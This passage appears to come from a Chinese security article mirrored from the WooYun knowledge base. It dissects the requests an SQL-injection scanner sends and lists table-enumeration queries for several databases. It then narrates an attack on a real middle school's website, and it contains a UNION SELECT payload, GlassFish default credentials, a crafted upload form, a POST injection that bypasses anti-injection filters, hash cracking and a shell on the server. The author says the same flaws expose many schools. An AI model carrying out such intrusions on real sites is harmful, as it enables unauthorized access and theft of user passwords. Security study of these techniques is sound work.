SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)--

enter image description here

/*[h4ckinger]asim[/h4ckinger] 這段SQL看不出來有什麼實際意義,沒有對資料庫進行任何操作。對應的SQL是:

select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/

沒用的東西不管下一條也是點選start後的最後一條SQL同上。 那麼我們可以知道點選注入點檢測程式一共做了:

1、是否存在注入點
2、注入點的欄位數量
3、注入點獲取Mysql的版本資訊、使用者資訊、資料庫名等。
4、是否有file_priv也就是是否能夠讀寫硬碟檔案。

程式邏輯分析:

1、獲取URL是否存在
2、獲取URL地址並進行引數分析
3、提交and 1=1 and 1=2進行布林判斷,獲取伺服器的響應碼判斷是否存在SQL隱碼攻擊。
4、提交佔位符獲取注入點查詢的欄位數嘗試order by 注入。
5、提交MYSQL自帶的函式獲取MYSQL版本資訊、使用者資訊、資料庫名等資訊。
6、檢測是否有load_file和outfile、dumpfile等許可權。

SQL隱碼攻擊之獲取所有使用者表:

1、Mssql:select name from master.dbo.sysdatabase
2、Mysql:show databases
3、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid
4、Oracle:SELECT * FROM ALL_TABLES


0x03 簡單實戰


本次實戰並沒有什麼難度,感覺找一個能把前面的都串起來的demo太難了。本次實戰的目標是某中學,網站使用JavaWeb開發。去年的時候透過POST注入繞過了GET的防注入檢測。對其和開發商的官網都做了SQL隱碼攻擊檢測,然後加了開發商的QQ通知修補。

enter image description here

前不久再去測試的時候發現漏洞已經被修補了,圍觀了下開發商後發現其用的是glassfish:

enter image description here

enter image description here

嘗試從伺服器弱口令入口了入手但是失敗了glassfish的預設管理帳號是admin密碼是adminadmin,如果能過登入glassfish的後臺可以直接部署一個war去getshell。  enter image description here

由於沒有使用如Struts2之類的MVC框架所以google了下他的jsp,-News參數列示不希望在搜尋結果中包含帶有-News的結果。  enter image description here

透過GOOGLE找到一處flash上傳點,值得注意的是在專案當中上傳下載一般作為一個共有的業務,所以可能存在一致性也就是此處要是上傳不成功恐怕到了後臺也不會成功。企圖上傳shell:

enter image description here

上傳檔案:

因為tamper data 沒法攔截flash請求,所以透過chrome的攔截記錄開始構建上傳:

<html><head>
<title></title></head>
<body>
<form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post">
<input name="filedata" type="file"><br>
<input type="submit" value="上傳檔案">
</form>
</body>
</html>

enter image description here

好吧支援txt.html.exe什麼的先來個txt:  enter image description here

一般來說我比較關注邏輯漏洞,比如找回密碼,檢視頁面原始碼後還真就發現了點貓膩有DWR框架。

DWR框架:

DWR就是一個奇葩,人家都是想著怎麼樣去解耦,他倒好直接把js和後端java給耦合在一起了。DWR(Direct Web Remoting)是一個用於改善web頁面與Java類互動的遠端伺服器端Ajax開源框架,可以幫助開發人員開發包含AJAX技術的網站。它可以允許在瀏覽器裡的程式碼使用執行在WEB伺服器上的JAVA方法,就像它就在瀏覽器裡一樣。

enter image description here

再次利用chrome抓網路請求,居然發現後臺把使用者的密碼都給返回了,這不科學啊:  enter image description here

與此同時我把google到的動態連線都開啟,比較輕易的就發現了一處SQL隱碼攻擊漏洞,依舊用POST提交吧,以免他的防注入又把我攔截下來了(再次提醒普通的防注入普遍防的是GET請求,POST過去很多防注入都傻逼了,Jsp裡面request.getParameter("parameter")GET和POST方式提交的引數都能過獲取到的):  enter image description here

破MD5,進後臺改上傳副檔名限制拿shell都一氣呵成了:

enter image description here

GETSHELL:  enter image description here

可能實戰寫的有點簡單了一點,湊合這看吧。由於這是一套通用系統,很輕易的透過該系統漏洞拿到很多學校的shell,截圖中可能有漏點,希望看文章的請勿對其進行攻擊!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章